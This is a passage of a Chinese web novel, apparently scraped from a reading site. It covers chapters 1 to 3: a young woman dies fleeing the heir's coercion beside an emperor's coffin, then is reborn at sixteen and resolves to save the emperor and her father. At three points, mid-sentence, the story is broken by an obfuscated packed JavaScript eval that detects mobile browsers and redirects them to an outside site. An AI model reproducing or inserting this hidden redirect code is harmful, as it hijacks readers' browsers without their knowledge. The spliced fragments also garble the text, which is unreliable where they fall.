《冲喜冲走天子后(双重生)》 1. 撞棺 暮色渐沉,金乌西坠,将绵延高耸的宫墙染上血色的余晖。光影投在乾恩殿外的砖地上,透着几分凄凉与压抑。殿门洞开,远远望去如巨兽大张其口,映着殿内晃动的灯火与铺天盖地的惨白。 这是崇宁三年的深秋。帝崩,举国大丧。 天子英年早逝,天下皆惊,痛惜不已。 按大燕礼制,梓宫需在乾恩殿停放数日,在此期间,文武百官、皇室宗亲及后宫诸人均要按时前来祭拜。 殿内,所有人皆一身缟素,按品级地位于灵前跪拜啼哭。 容棠随着众人跪倒,目光触及那透着沉沉寒气的棺椁,又扫过那牌位上的名字,旋即低下了头。 大行皇帝,名讳萧凛。 虽然入宫已久,但这个人对她而言,自始至终都十分陌生。 数月前,天子与几位宗亲近臣外出射猎时不慎坠马,重伤昏迷。宫中御医齐上阵,却偏偏诊不出病因。眼看着天子几乎只剩下最后一口气,丞相病急乱投医,硬生生想出了个冲喜的法子——选几位出身不俗、生辰八字祥瑞且尚未婚配的妙龄女子入宫,以妃嫔的名义为天子日夜祷告,或许能够令天子转危为安。 而容棠,便是那不幸被选中的几人之一。 冲喜的旨意送到容府上时,对容棠和母亲来说,不啻晴天霹雳,偏生她那身为工部尚书的父亲容肃文又恰在几日前被派往了京郊,负责督办皇陵修建之事。由于天子登基时日尚短,皇陵尚未完工,因此不得不夜以继日、一刻不停地赶工。 父亲不在家中,前来传旨的宫人又道此乃陛下圣谕,事态紧急,耽误不得。容棠无可奈何,只能认命入宫。 她心中颇为怨怼:丞相身为老臣,不想方设法求医问药,却寄希望于这些虚无缥缈之事上,怕是老糊涂了吧;同时亦忍不住疑惑:这位陛下不是已经昏迷不醒了吗?为何还能为此种事情下旨? 容棠入宫后才得知,原来是天子的堂兄励阳王侍疾时,恰好遇上他短暂苏醒,便忙将此事回禀。天子虽不能起身,但还是强撑着将一应事务吩咐了下来,而后又陷入了昏迷之中。 她只觉无奈。这位陛下病得这样重,竟还能分出心神在这种事情上,当真是难为他的身子了啊。 她入宫后与其他几人一道日夜求神拜佛,诵经祷告,只盼着天子转危为安。然而天子非但没有丝毫好转,反而病势愈发沉重,最终崩逝。 冲喜最后却把人冲走了,真是荒唐至极。容棠本以为一切到此为止,但丞相却说帮人帮到底,送佛送到西,直言为全丧仪规制,她们须以妃嫔之身守灵跪拜,直至奉安。 ...... “跪!” 耳边陡然响起宫人尖利的呼喝声,容棠回神,忙随众人一道俯身叩首。须臾,悲痛欲绝的嚎哭声自四面八方响起,如山呼海啸般响彻在大殿上方。 容棠与天子素昧平生,对他的驾崩并没有什么悲伤可言。然而哭灵是必不可少的,若谁挤不出眼泪,那便是对先帝大不敬,足以论罪。她垂着头,余光看见巡视的宫人即将从身侧走过,忙将身子俯得更低了些,暗自伸手,隔着衣裳狠狠掐了自己一把。 此起彼伏的哀声中,容棠暗暗想,她这些时日不仅失了自由,还受了颇多皮肉之苦,日夜跪经跪得膝盖青紫交加,世上怎会有她这样凄惨的人! 她想着,眼前渐蒙上一层薄薄的泪花,忍不住低低抽泣了起来。这般落泪,全然发自内心,掺不得半点假。 待跪拜仪式告一段落,女眷退入偏殿休息。容棠揉着发痛的膝盖在窗边坐下,眼底浮起一丝焦灼之色。丧仪后,等待着她们的还有另一桩难题:新帝和丞相会如何安置她们? 细细思索起来,她们的身份着实尴尬。 若是算妃嫔,未免有些荒谬,毕竟她们连先帝的面都没见过,也无册封明旨; 若不算,可她们偏偏又是以妃嫔名义为先帝守丧的,难道还能在丧仪后如无事人一样出宫吗? 想到此处,容棠颇有些烦躁不安。她索性搁下茶盏,起身去了乾恩殿后院。此处树木凋零,萧索凄清,但胜在无人,可以容她好好冷静一番。 她正胡思乱想着,不远处忽然传来一声轻笑,在这寂静的后园中令人脊背生寒。 容棠一惊,慌忙回头,却见身后不知何时出现了一个一身素服的男人,正目光炽热地盯着她。深沉暮色之中,那男人的眼睛好似泛着异光,像鬼魅般令人不寒而栗。 正是先帝的堂兄,励阳王萧磐。 先帝病重时,朝政之事皆由他主理;先帝驾崩后,群臣推举他为太子,以便主持丧仪。从今往后,这金銮殿的主人便会是他了。 她忙俯身:“臣女见过太子殿下。” “容姑娘免礼。”萧磐开口道。 容棠站直身子,眉眼低垂,不敢与他对视,然而鼻间却隐约嗅到一股浓重的酒味和脂粉香气。她心中一惊:国丧期间禁止一切酒乐宴饮,他竟敢...... 蓦地,她听见萧磐柔声问道:“容姑娘独自一人在此出神,莫不是有什么烦心事?” 烦心事自然是有的,但肯定不能对他提起。容棠谨慎道:“臣女心中是国丧之痛。” 萧磐笑而不语。凉风吹动枝叶沙沙作响,却掩盖不住他急促的呼吸声。 许久,萧磐缓缓道:“容姑娘,丞相向孤进言,说按旧制须得择人为先帝守陵。算起来,你们便是最合适的人选。” 容棠心中一凉。 本朝传统,天子驾崩,后宫妃嫔若无子嗣,便要终身为先帝守陵,不得回京。从前不乏有正当妙龄的妃嫔被遣送出宫,在皇陵孤苦伶仃困守到死,再也无法与父母亲人相见。 然而萧磐忽然话锋一转:“但你们毕竟不是先帝的妃嫔,若孤真的把你们打发去了皇陵,岂不是太过不近人情?” 容棠一愣,忙抬头,眼中流露出一丝期盼。 与此同时,她也看清了萧磐的模样。不知是不是被这身衣裳的颜色衬的,他眼窝深陷,面色青黑,嘴角勾起诡异的笑,莫名有些可怖。 “孤有个好法子,你想不想听一听?”萧磐倏而一笑。 容棠隐隐不安,却只能道:“请殿下明示。” 萧磐笑眯眯地道:“不如你跟了孤,待孤登基,便封你为妃,如何?” 容棠万万没想到他竟打的是这样的主意,顿时大惊失色。且不说此举实在荒唐,便是萧磐本人也毫无吸引力可言。他年过三十,又生性风流,听说自王妃去世后,府中便姬妾成群,若是给这样好色之人当妃子,简直是要了她的命。 萧磐见她愣在原地,便上前一步欲来拉扯她,口中柔声宽慰道:“你莫怕,孤会怜香惜玉的。” 冰凉的指尖攀上手腕,容棠身子一颤,本能地打落他的手,后退了一步,冲口而出:“请太子殿下自重!” 萧磐毫无防备,只觉得一痛,手背上竟已浮起了一道红痕,不由得怒从心起。 “自重?”他眯眼,神色渐冷,“容姑娘此言差矣。孤是未来的天子,天底下的女人都是孤的!” 容棠见他双颊泛红,眼底泛着幽幽异光,仿佛下一刻便会如野兽般扑上来,只吓得魂不守舍,顿时也顾不上什么规矩了,提起裙角便从他身边疾奔而过。 “站住!”萧磐恼怒不已,提步追了过去。 容棠心里只有一个念头——往人多的地方跑,这样他就不敢行不轨之事了。 然而萧磐紧追不舍,容棠慌不择路,闯进了正殿,却发觉原本应该在此守灵的群臣却不知所踪,余下的宫人也在萧磐的厉声呵斥下战战兢兢退下,此刻殿内竟空无一人。 萧磐站在殿门口,皮笑肉不笑:“如今的情势,难道你还看不清吗?孤劝你还是识时务一些吧。” 他这些年阅尽群芳,却依然忍不住为眼前人的玉貌花容折服,打定主意非要占有她不可。 殿门高悬的白布飘飘荡荡,映得萧磐的脸愈发阴森可怖。容棠只觉得脊背处漫起一丝凉意,她努力抑制住颤抖的声音,道:“太子殿下何必强人所难?臣女乃是……乃是先帝选入宫的,还请太子顾念伦理纲常!” 萧磐一愣,哈哈大笑起来:“事已至此,你还拿先帝来压我?他如今已经是一缕孤魂了!既然丞相当初召你入宫便是为了给天子当妃嫔的,那么给谁当不是一样?先帝既然死了,孤便是天子,入孤的后宫怎能算违背礼制呢?” 他毫不掩饰的反应令容棠惊愕万分。众人皆说,励阳王与先帝手足情深,先帝去后,励阳王曾数次哭到晕厥,可此刻她眼中所见的萧磐没有半分伤心,只有张狂与痛快。 她定了定神,正思索着该如何摆脱萧磐的纠缠时,却见他沉了面色,说道:“你若安安分分听孤的话,孤会许你享不尽的荣华富贵与位分尊荣。难道你情愿去那偏远皇陵枯守到死?” 他自认为自己给出的承诺足够诱人,然而容棠听在耳中,却并不敢相信。她忆起父亲曾说过的话,对眼前人更没有丝毫好感,一想到若是要和这样的人同床共枕,便止不住恶心。 萧磐见她面色苍白,虽未明言却是显而易见的抗拒,顿时勃然变色:“你既如此不识抬举,就莫要怪孤不念旧情,不宽恕你父亲的罪了!” 容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762658|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠如闻惊雷,颤声道:“臣女的父亲何罪之有?” 萧磐面上如罩寒霜,厉声道:“今日孤得到急讯,说先帝陵寝外部尚未完工的地上建筑竟离奇走水,险些酿成大祸!你父亲督办此事,竟疏忽轻慢至此,倘若火势蔓延,大燕的国运和祖宗龙脉岂不是要毁于一旦?” 皇陵失火如此不祥,这可是天大的灾祸,一旦传扬开来,难免不被天下人议论,认定这是上天示警或是天命注定。 容棠心头大震。父亲为官多年,怎会在这样至关重要的事情上如此疏忽?她的本能反应便是不信,可萧磐身为继任者,必然不可能编造这种非同寻常的事情来逼她就范。 她紧紧咬住唇,双膝跪地,恳求道:“求殿下明鉴。臣女的父亲素来勤恳忠顺,断无此心啊!” 萧磐冷笑:“事实一清二楚,你还要为他诡辩吗?孤身为先帝的手足,断断容不得这样的人扰得他身后不宁!” 事关先帝身后事,若萧磐真的要严加追究,那也是情理之中的事情。容棠心底浮起无尽的恐慌,想拼命申辩,却嘴唇发颤,拼凑不出完整的字句。她无措地抬头,满眼蓄泪,哀求地望向萧磐,想求他大发慈悲,也想求他查清此事。她内心深处,终究还是不信父亲会如此粗心大意的。 萧磐看着她泪盈于睫的模样,意味深长一笑,俯身将她扶起,隔着衣裳摩挲着她的手腕。容棠慌乱不已,满心只想着如何为父亲申辩,竟没留神他的动作。 “若你足够聪明,就该知道如何做才能保住你父亲的性命。否则,孤一定会将你父亲革职查办,下狱论罪。你父亲的身家性命,全在你的一念之间。孰轻孰重,你应当分得清吧?”他低语。 容棠惊怒交迸,含着泪不可置信地看向他,却见萧磐阴森森一笑,眼中透出毫不掩饰的贪欲,那浊臭的呼吸喷薄而出。他贪婪地伸手轻抚她的面颊,脸孔越凑越近。 难道她真的只能委身萧磐?容棠满心绝望,思绪仿佛已经凝成了冰,冻得她浑身发寒。正在此时,原本安静的殿外忽然传来了一阵脚步声。 容棠张皇无措,抬眸看去,却见群臣正沿着殿前的石阶依次而上,眼看便要进入乾恩殿,继续那跪拜仪式。 萧磐显然也听见了动静,却毫不惊慌,嘲笑道:“难道你还指望着借此脱身?你说,他们若是瞧见你跪在这里,又是这般梨花带雨的模样,会不会以为是你为寻求出路而大着胆子在先帝棺木面前勾引孤?” 容棠咬牙,心底一片冰凉。她想,以萧磐的秉性,倘若自己不屈从于他,他一定会变本加厉,彻底将父亲、将自己和整个容家贬入尘埃。可即便自己屈服了他,谁知道他会不会朝令夕改,依旧对父亲不利呢?毕竟...... 极度恐慌之中,她心念忽转,急中生智,提高声音道:“臣女对先帝一往情深,甘愿终生为先帝守陵!还请太子殿下成全!” 事到如今,她只能孤注一掷。即便真的要去守陵,也比入萧磐的后宫强百倍。萧磐想给父亲扣上大不敬的罪名,那么自己身为容家之女,甘愿守陵,足可见忠孝纯善,或许能够证明负责修建皇陵一事的父亲并无不臣之心,也可为父亲的过错弥补一二。再者,本朝不乏有极其重视礼法的老臣,只盼着他们能够看在这一点上为父亲多多求情,保住他的性命。这或许是她身为女儿,能为父亲所做的唯一的事情了。 容棠眼底酸涩,泪意汹涌欲出。她强忍住心头的畏惧,颤声道:“求太子殿下成全臣女的一片痴心吧!” 萧磐怒极反笑:“一派胡言!” 他见容棠竟还是这样不识好歹,心中恼怒,失了耐心,也不欲让将要进殿的群臣目睹两人的纠葛,便掐住她的脖子,要强行把她带走。容棠呼吸困难,拼命挣扎,纠缠间一脚踢在了萧磐身上,他一声惨呼,恼怒疼痛之下一掌推了出去。 容棠被他推得身子一歪,踉跄着退开几步,身子不受控制地往那棺椁上扑了过去。 砰的一声,额头一阵剧痛,眼前弥漫上一层浓重的红色,容棠几乎要昏死过去。 清醒的最后一瞬,所有念头都淹没在那深入骨髓的疼痛之中。她心中只剩下一个念头:自己大约是大燕朝立国以来头一位撞死在天子棺椁上的人吧! 可她死了不要紧,父亲的罪名该怎么办?萧磐继任新君后,又会如何处置容家?容棠只恨自己如此无能,竟就这样轻而易举死了。 可惜再多的怨言也是无力回天,疼痛很快淹没了她的意识,容棠的气息逐渐微弱,最终无力地闭上了眼睛。 无人在意,沾染了鲜血的棺椁旁,一缕淡烟悄然飘散在空中,无声无息。 2. 重生 耳边仿佛还响着错乱的吵嚷,夹杂着或惊愕或悲痛的呼喊声,容棠只觉得浑身脱力,似乎灵魂已经抽身而去,只留下一个空洞的躯壳。 眼前一片迷蒙,分不清遮蔽了视线的液体是血还是泪。恍惚间,那高高在上的灵牌好似幻化了人形,朝着自己气势汹汹地扑了过来。 “啊!”容棠吓得大叫一声,猛地睁开了眼。 她重重喘息几声,感受到胸腔里的心在剧烈震颤,许久才落回原处。 平静了片刻后,容棠感到额头处隐隐作痛,便伸手轻轻一碰,发觉那里缠着厚厚的纱布。 呼吸是温热的,心跳也是分明的,一切都昭示着她尚在人间。可她明明记得,自己被萧磐一掌推撞上了棺椁,撞得头破血流而死。难道,她这是回光返照了? 容棠随即陷入了更深的慌乱之中。萧磐会不会一怒之下,已将父亲下狱问罪了? 她想到这里,忙坐起身。外头的人似乎听见了动静,行至近前揭开了床帐,细微的光亮透了进来。容棠有些不适应,下意识闭了闭眼。 “姑娘醒了?”那声音满含惊喜,又很耳熟。 容棠昏沉中骤然一惊,忙用力睁大眼睛看向来人,果然辨认出了熟悉的轮廓。她惊愕不已,张了张口,沙哑着嗓音唤道:“......烟雨?”再一转头,顿时又愣住:“岚月?” 烟雨和岚月都是她的贴身侍女。容棠最后一次见到她们,还是在入宫冲喜之前。萧磐既然要治容家之罪,她又怎么会见到这两人呢? “爹爹呢?”容棠神情恍惚,急声问道。 “老爷......老爷尚未下值,还在宫中。”岚月有些疑惑,却还是如实回答了。 “宫中?”容棠顿时慌了神,“爹爹......爹爹还好吗?” 岚月道:“老爷一切安好。姑娘为何这样问?” 容棠忽然意识到什么。既然父亲在宫中,那么自己此刻...... 她忙支起身子向床帐外看去。这一看不要紧,她下意识用力掐了自己一记,确认自己不是眼花也不是神智错乱了。眼前的屏风、桌案、香炉,分明是她闺房的陈设布置! 容棠额头处一阵剧痛,眼前发黑,顿时重重跌在床榻上,只觉得丢了三魂、丧了七魄。她喃喃自语:“我不是死了吗?为何又活了过来?” 烟雨离得近,将她的话听得真切,顿时面色大变,手也跟着颤抖了起来。容棠见她如此,心中更是一凉,以为大祸临头,正要发问,却见烟雨忽然后退几步,惊恐地跑了出去,边跑边惊慌失措道:“夫人,您瞧姑娘这是怎么了?她……说了好可怕的话。” 下一刻,有人快步走近,抬手掀开帐幔,在床边坐下。 熟悉的气息扑面而来,容棠看清眼前之人正是自己的母亲,尚书夫人徐翡。她震惊不已,颤声道:“......娘?您怎么也......” 徐翡眉头紧蹙,只轻轻握住她的手摩挲着,向烟雨道:“方才姑娘说了什么?” 烟雨哭诉道:“方才姑娘醒了后,神情恍惚,竟说……说她已经死了......奴婢吓坏了,只能去请夫人的示下。” 岚月眉头紧蹙,亦道:“夫人,姑娘似乎在梦中受了极大的惊吓。” 徐翡抬手抚了抚容棠潮热的额角,道:“大夫说棠棠的脉象并无大碍。” 她顿了顿,柔声问道:“棠棠,你方才是不是做了什么噩梦?” 容棠眸光一晃,望着母亲关切的模样,愣愣地点了点头:“是......” “莫要怕,那只是梦,”徐翡安慰道,“你额头上的伤只需要静养数日便好,不会危及性命的,你千万不要多想。” “我的伤……”容棠怔怔抬手摸了摸额头的纱布。 徐翡轻声道:“棠棠,往后你可不能再这般冲动行事了。你爹爹说了,若是你今后再偷跑出去骑马,就要把你禁足府上,不许再出门了。” 骑马...... 容棠呆住了。 这分明是她十六岁那年的事情。那时,自己偷跑出府骑马,结果被受惊的马儿甩了下来,额头受了伤,养了好些日子才痊愈。 明明残存的意识里,自己还在宁为玉碎不为瓦全地同萧磐抗争,怎么一睁眼又回到了从前? 容棠心中逐渐浮现出一个大胆的念头。 莫非自己......重活了一遭? 她素来不信鬼神虚妄之事,可如今的现实却明明白白地显示,她真的回到了过去。 此时的她尚未经历前世那些噩梦般的事情,爹爹也平安无事,一切都还来得及。 惊愕褪去,狂喜如浪潮般涌上心头。万幸,她又活了一次,她的大好年岁又得以重新开始。容棠剧烈呼出一口气,倏而双手掩面,随即在众人不解的目光之中红了眼眶,低语道:“幸好......幸好我还活着,还能够见到你们,一切都还来得及。” 她整理好情绪,这才抬头,笑了笑道:“方才我昏睡之中做的那个梦实在骇人,因而醒了后还有些恍惚,如今已然无事了。” 天子驾崩是她十七岁那年的事情,也就是说,她还有整整一年的时间能够想法子改变命运。劫后余生的容棠几乎要喜极而泣了,而眼前几人只以为她是受了惊吓才会如此,又见她言谈举止一切正常,这才松了口气。 徐翡见她面色依然有些苍白,便道:“棠棠,先躺下好好歇息,不要牵动伤口了。” 容棠依然有些后怕,忙抓住母亲的衣袖,有些不舍:“娘,我害怕,您能在这儿陪我吗?” 徐翡听着她的撒娇,笑了笑:“好,娘不走,棠棠安心睡吧。” 她顿了顿,又悄声问道:“爹爹......还好吗?” 徐翡没有多想,只道:“你爹爹那日发脾气,只是太过担心你的缘故。棠棠,爹爹不会生你气的。再过两个时辰,他就该下值了,若是知道你醒了,定会很高兴的。” 母亲的体温和气息环绕着她,容棠轻轻嗯了一声,忍住眼底的酸涩泪意,缓缓闭上了眼。 她的后怕无处诉说。撞上棺椁的那一刻,她心中是无尽的绝望与悲凉,她不知道以萧磐的手腕会如何处置容家,也不敢去想。 幸好,她又回来了。这一世,她一定要想方设法改变那既定的命运,保住爹娘的平安。 ...... 又躺了几日,容棠有所好转,终于可以起身下地了。直到这个时候,她才对重生之事有了实感。 容棠缓缓在院子里走着,烟雨和岚月一边一个,小心翼翼扶着她。纱布去除后,她的额头留下了一道淡淡的疤痕,如美玉微瑕。若是从前,容棠一定会为此而烦恼,但此刻,她心中只有劫后余生的庆幸。 她默默想,同样的额头受伤,同样的昏迷不醒......看来,正因如此,骑马之事才会阴差阳错成了自己重活的契机。果真是苍天有眼,垂怜于她。 容棠想到什么,忽然停住步子问道:“我受伤后,娘是不是曾去过京郊的钟福寺为我祈福?” 烟雨点头:“是。那时姑娘始终昏睡,夫人忧心忡忡,便想着祈求佛祖保佑姑娘早日苏醒。” 容棠道:“看来,真的是佛祖显灵了。” 烟雨有些惊讶:“姑娘从前不信这些的。” 容棠心头有些怅然,说道:“事到如今,我不得不信。” 忽然院门处传来一阵脚步声,容棠抬头看去,看见两人正一前一后走了过来。那熟悉的眉眼和轮廓让她心头一热,眼底似有酸涩泪意翻涌。 时隔两世,她终于再次见到了两位胜似亲人的朋友。 一身浅碧衣裙的虞忆安缓步上前,关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762659|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地看向她:“棠棠,这几日身上如何?” 容棠望着她,摇了摇头道:“没有大碍了。” 她身后站着一个面目俊朗的青年,他安静地注视着她们,直到容棠的目光落过来,才牵唇一笑:“棠棠。” 容棠心中感慨,扬起笑脸唤道:“怀平哥哥。” 虞怀平与虞忆安是一母同胞的亲兄妹,两人的父亲出身寒门,是容棠外祖父的得意门生,也曾科举入仕,然而后来因与旁人政见不合而辞官,继承了师父衣钵,在京城开了所学堂,为平民百姓传道授业。两人的母亲与徐翡情同姐妹,因此兄妹二人对徐翡以“姨母”呼之。 兄妹俩虽同出一门,年岁相同,但志向截然不同。虞怀平擅医术,立志要遍访河山尝遍百草,撰写医书药典;而虞忆安则在京城中经营着连锁书坊,除去售卖书籍外,还乐于接收许多才华横溢的穷苦书生之作,帮助他们刻印出版,从而让更多人知晓。昔日,她曾刻印过一人的手稿,后来那人高中榜眼,虞家书坊因而名扬京城。 容棠与这对兄妹自小一起长大,有青梅竹马的情分。只可惜前世她入宫后,直到死都没能再与他们相见。想到这里,容棠再度庆幸起来。 “你们今日怎么想起来看我了?”容棠笑眯眯地道。 虞怀平微微一笑,从怀中取出一个小瓷瓶,道:“来给你送一样东西。这是祛疤的药膏,你每日涂抹在额头,不出半月便可恢复如初。” “多谢。”容棠冲他弯唇一笑。虞怀平看着她笑意盈盈的模样,面上微微一热,轻轻扬了扬唇。 他想起来意,敛了笑意道:“棠棠,我今日是来同你告别的。” 容棠愕然:“你要去哪里?” 虞怀平温声道:“我和师父决定去边境之地寻访几味药典中提到的珍贵而罕见的药材,若此行能有所得,便可写入药典之中。” 容棠记得,虞怀平的师父是一位颇有盛名的民间大夫,虽医术精湛却行踪不定,常游走江湖四处行医。 她问道:“何时动身?” 虞怀平道:“明日一早出发。” 此话一出,几人都有些怏怏不乐。容棠重生后便格外珍重身边的亲人与朋友,此刻颇有些不舍,却知道他立志走遍天下,治病痛、写医书,悬壶济世,泽被世人,断然不会轻易停下脚步,只能陷入沉默。 她自记事起,便把虞怀平当作自己的亲兄长一般,也感念他的关怀备至,如今得知他要远行,兴许一年半载都不得相见,不由得叹了口气。 虞怀平注视着她,嗓音柔和:“我每到一处,都会给你……和忆安写信的。我不在京城,你若是觉得闷了,便多和忆安出门走走。” 说着,他给容棠切了切脉,道:“你的伤好得差不多了,但是还是要万事当心。” 容棠点点头:“我明白的。”她顿了顿,看向虞怀平:“怀平哥哥,你……保重。” 虞怀平淡淡一笑:“放心吧。” 送走虞氏兄妹,容棠在廊下的摇椅上躺下,有些困倦地阖上了眼,直到晚间才起身。 晚膳时,徐翡说起要去寺庙之事:“如今棠棠既然已经大好,那么我必得去向佛祖还愿,如此才算有始有终。” 容肃文颔首道:“那是自然。” 他心想女儿养病这些时日定是闷坏了,她又一向是个喜欢热闹的性子,便搁下茶盏道:“再过些时日,便是陛下的万寿之日,届时会办一场宫宴。棠棠,那时你可以入宫赴宴,借机散散心。” 容棠听见“入宫”二字,猛然忆起前世种种,只觉得心头骤然压上了一块巨石。她这些日子一直刻意不去想那些事情,然而到头来还是无法避免。此刻听闻那个称呼,眼前仿佛出现了那座飘满白布的大殿和那口阴森森的棺材,额头上的伤似乎又隐隐作痛起来,惹得她忍不住打了个寒颤。 3. 祝祷 “棠棠?”徐翡摸了摸她温热的手,奇怪道,“好好的怎么发抖了?” 容棠拢紧外衫,镇定地指向那透了道缝的窗子道:“方才有缕凉风吹进来,忽而觉得有些冷。” 徐翡不疑有他,忙命人将窗子关紧。容肃文玩笑道:“若不是你从未见过陛下,我还以为你是听到他的名头而害怕呢。” 容棠心想,她不是怕陛下,而是怕陛下......死。 她记得清楚,这位陛下还是皇子时,父亲便曾赞他德才兼备,于政事上宽严相济,是个很有想法和谋略之人,将来必然是位出色的君主。因此,在储君之位尚未尘埃落定时,父亲和众多朝臣坚定地站在了他这一边,力保他登基。而他登基后,也确实如父亲所言,对这一应臣子知人善任,体贴眷爱,赋予了足够的信任。 容棠可以确信,只要这位陛下活着一日,父亲便不会如前世那样被萧磐算计陷害。她这几日思来想去,觉得前世萧磐给父亲扣上的罪名实在可疑,他的模样分明不是恼怒问罪,而是一切尽在掌控之中的得意。难道,皇陵走水之事是有人刻意为之,萧磐只是想借此对忠于陛下的父亲发难?毕竟那时为了尽快让先帝入土为安,皇陵修建一定极其匆忙,忙中易生乱,真的想要动手脚,也有可乘之机。 她想到这里,佯作好奇道:“爹,陛下多大年纪了?” 容肃文说道:“陛下今岁方二十。” 容棠点点头,心中却疑窦丛生:此人如此年轻,正是年富力强之时,为何前世会轻而易举坠马,还因此殒命? 容肃文几乎没有在她们面前说起过朝政上的烦心事,他永远是报喜不报忧,不愿让妻女为自己而担心。容棠蹙眉,她该如何委婉而又不突兀地提醒爹爹呢?毕竟,她本不该了解这些秘辛的。 她想了想,又问道:“爹,你这些时日劳累吗?工部的事务繁杂吗?” 容肃文说道:“眼下有一样要紧的事情。待陛下寿宴过后,我可能便要同另几位大臣一道离京,为陛下寻访万年吉地,敲定陵寝之处。一旦选址得到了陛下的许可,那便可以择一吉日破土动工了。” “什么?”容棠大惊,险些抑制不住心头的情绪。时隔这么久,再度听见这件事,她耳边仿佛又响起了萧磐那声色俱厉的怒喝,一字一句皆是对父亲的问罪。 “棠棠,怎么了?”容肃文讶异道。 容棠镇定心神,竭力平静,说道:“我只是......只是有些惊讶,毕竟陛下登基不久,还这样年轻。” 容肃文道:“凡天子继位后,必然会安排此事。我朝规矩,向来如此。” “那......陵寝修建是不是颇多不易?我曾在书中看到过,皇陵需要有足够的砂山,才能确保封闭安静不被人打扰,否则有失威严;也不能地势过于平坦,否则地宫可能会有渗水之灾。而陵寝的地上建筑又多是木制,雷雨天会有隐患,可能会走水。”她尽可能自然地说道。 容肃文颇为纳罕:“棠棠,你何时对这些事情感兴趣了?” “爹爹既然在工部做事,那我少不得也得略知一二,否则岂不是堕了爹爹的名声?”容棠摇了摇他的手臂,笑道。 事实上,她这几日始终心神不宁,便找了些风水堪舆之书翻阅,试图找出前世之所以出状况的原因。 容肃文慈爱地拍了拍她:“棠棠说得一点不错。正因如此,爹爹更要穷尽才干,为陛下选好身后之地。” “爹爹不日便要启程离京,此去一定要万事当心。”容棠轻声道。 容肃文摸了摸她的头:“爹爹知道。” 可单单知道,还不算万无一失。容棠定了定神,在心底劝慰自己莫要慌张,眼下还没有到山穷水尽的地步,大可以徐徐图之。她得好好想想,该如何设法让父亲有所提防,从而避开前世祸患。 她沉默的当口,容肃文已和徐翡说起了祈福之事。容棠忽然想起什么,对徐翡道:“娘,我也想和你一道去寺庙还愿。” 徐翡不甚赞同:“棠棠,你的伤刚刚养好,需要好好静养。那钟福寺在半山腰上,一路行去会十分疲累的。” 容棠摇了摇头道:“娘放心,我已经大好了。当初娘是为了我的事去祈愿的,这还愿之事必然得我亲自去,才算是心诚。” 徐翡端详着她的面色,还是有些担忧:“方才那点微风都让你身上发冷,可见还是有些虚弱。若你执意要去,还是再将养几日吧。” 容肃文亦道:“你娘所言甚是。棠棠,瞧你那脸色蜡黄蜡黄的,像是被汤药熏入味了一般。” 容棠下意识抬袖闻了闻,听见父亲的闷笑声才知道他是在说笑,不由得鼓了鼓嘴,拉着徐翡道:“娘,爹又取笑我。” 一家三口玩闹一阵,最终决定将还愿之事暂且延后,待容棠彻底好转再说。 晚间回房歇息,容棠正对着铜镜仔细观察自己的面色,烟雨为她拆着发髻上的饰物,道:“姑娘,听说钟福寺不仅香火旺盛,还有一棵千年古树。据说那树历经风雨,有了灵性。从前夫人曾说,不少去钟福寺的人都会在参拜了佛祖后,再向那古树拜一拜,如此许愿才会更加灵验。” 容棠来了兴趣,问道:“当真?那古树在何处?” 烟雨想了想道:“似乎是在寺庙大殿东面的一处院落里。姑娘若是有什么心愿,不妨去试一试?” 心愿?容棠双手托腮,幽幽叹气。她的心愿数不胜数,可眼下,最重要的还是先保住这一世全家的平安吧?否则再多的愿望也是无用。 前世的种种灾祸,归根到底,还是因为天子身上发生的那场意外。若不是他病重,自己也不会被迫入宫;若不是他死得那样仓促,朝中之事也不会落到萧磐手中,父亲便不会被派去皇陵处日夜督办,更不会被扣上那样的罪名;自己也不会被萧磐所逼,莫名其妙撞死在棺材上。 那么,她最大的心愿,该是祈求天子龙体康健,长命百岁,避开那场致命灾祸。若天子好好活着,萧磐自然不敢有什么异动,皇陵修建也不会那般仓促忙乱,而是可以徐徐进行。这样一来,以父亲的谨慎小心,必然不会出什么乱子。前世那场疏忽,焉知是不是父亲因国丧而心中悲痛,这才一着不慎。 容棠大发慈悲地想,来日去钟福寺,她少不得要慷慨大方一回,分出个心愿给当今天子。既然古树有灵,那么她不妨也去拜一拜,如此一来,应验的可能性也该更大些吧? 她心想,自己当真是忧国忧民,竟会为素未蒙面的天子这样费心费神。 * 又过了半月有余,徐翡请来大夫为容棠把脉诊治一番,确认她已然痊愈,且面色红润,这才放心带着她出了门。 钟福寺坐落在福云山上,此山并不高,但景致不错,又距离皇宫最近,是佛门圣地,历任天子都曾亲临进香。 山风清凉,翠意葱茏,鸟语花香。容棠自坠马受伤后一直闷在府上,直到今日才得以呼吸这般清新气息,那些噩梦般的回忆似乎也随之淡去。她心头松快,面上带笑,挽着徐翡的手臂一步步沿着石阶爬上了半山腰,又走了一段曲曲折折的石板路,才看见了那寺庙的大门。 “娘,你累不累?”容棠扶着母亲的手臂,悄声问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 